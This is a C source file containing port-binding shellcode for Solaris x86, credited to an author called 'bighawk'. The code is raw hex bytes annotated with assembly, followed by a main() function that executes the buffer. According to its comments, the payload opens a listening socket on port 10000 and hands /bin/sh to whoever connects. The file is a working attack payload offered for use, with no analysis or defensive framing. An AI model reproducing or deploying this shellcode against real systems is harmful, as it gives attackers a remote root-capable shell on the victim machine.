/* 96 bytes  portbinding shellcode - Solaris-x86
 * - by bighawk (bighawk@warfare.com)
 *
 * This shellcode binds /bin/sh on port 10000
 * Tested on: SunOS 5.7
 */

char code[] =

   "\xb8\xff\xf8\xff\x3c"	// mov    eax, 03cfff8ffh
   "\xf7\xd0"			// not    eax
   "\x50"			// push   eax
   "\x31\xc0"			// xor    eax, eax
   "\xb0\x9a"			// mov    al, 09ah
   "\x50"			// push   eax
   "\x89\xe5"			// mov    ebp, esp
   "\x31\xc9"			// xor	  ecx, ecx
   "\x51"			// push	  ecx
   "\x41"			// inc	  ecx
   "\x41"			// inc	  ecx
   "\x51"			// push	  ecx
   "\x51"			// push	  ecx
   "\xb0\xe6"			// mov	  al, 230
   "\xff\xd5"			// call	  ebp
   "\x31\xd2"			// xor	  edx, edx
   "\x89\xc7"			// mov	  edi, eax
   "\x52"			// push	  edx
   "\x66\x68\x27\x10"		// push	  word 4135
   "\x66\x51"			// push	  cx
   "\x89\xe6"			// mov	  esi, esp
   "\x6a\x10"			// push	  byte 16
   "\x56"			// push	  esi
   "\x57"			// push	  edi
   "\xb0\xe8"			// mov	  al, 232
   "\xff\xd5"			// call	  ebp
   "\xb0\xe9"			// mov	  al, 233
   "\xff\xd5"			// call	  ebp
   "\x50"			// push	  eax
   "\x50"			// push	  eax
   "\x57"			// push	  edi
   "\xb0\xea"			// mov	  al, 234
   "\xff\xd5"			// call	  ebp
   "\x31\xd2"			// xor	  edx, edx
   "\xb2\x09"			// mov	  dl, 9
   "\x51"			// push	  ecx
   "\x52"			// push   edx
   "\x50"			// push   eax
   "\xb0\x3e"			// mov	  al, 62
   "\xff\xd5"			// call	  ebp
   "\x49"			// dec	  ecx
   "\x79\xf2"			// jns    lp
   "\x50"			// push   eax
   "\x68\x2f\x2f\x73\x68"	// push   dword 68732f2fh
   "\x68\x2f\x62\x69\x6e"	// push   dword 6e69622fh
   "\x89\xe3"			// mov    ebx, esp
   "\x50"			// push   eax
   "\x53"			// push   ebx
   "\x89\xe2"			// mov    edx, esp
   "\x50"			// push   eax
   "\x52"			// push   edx
   "\x53"			// push   ebx
   "\xb0\x3b"			// mov    al, 59
   "\xff\xd5";			// call   ebp


main() {
  void (*a)() = (void *)code;
  printf("size: %d bytes\n", strlen(code));
  a();
}

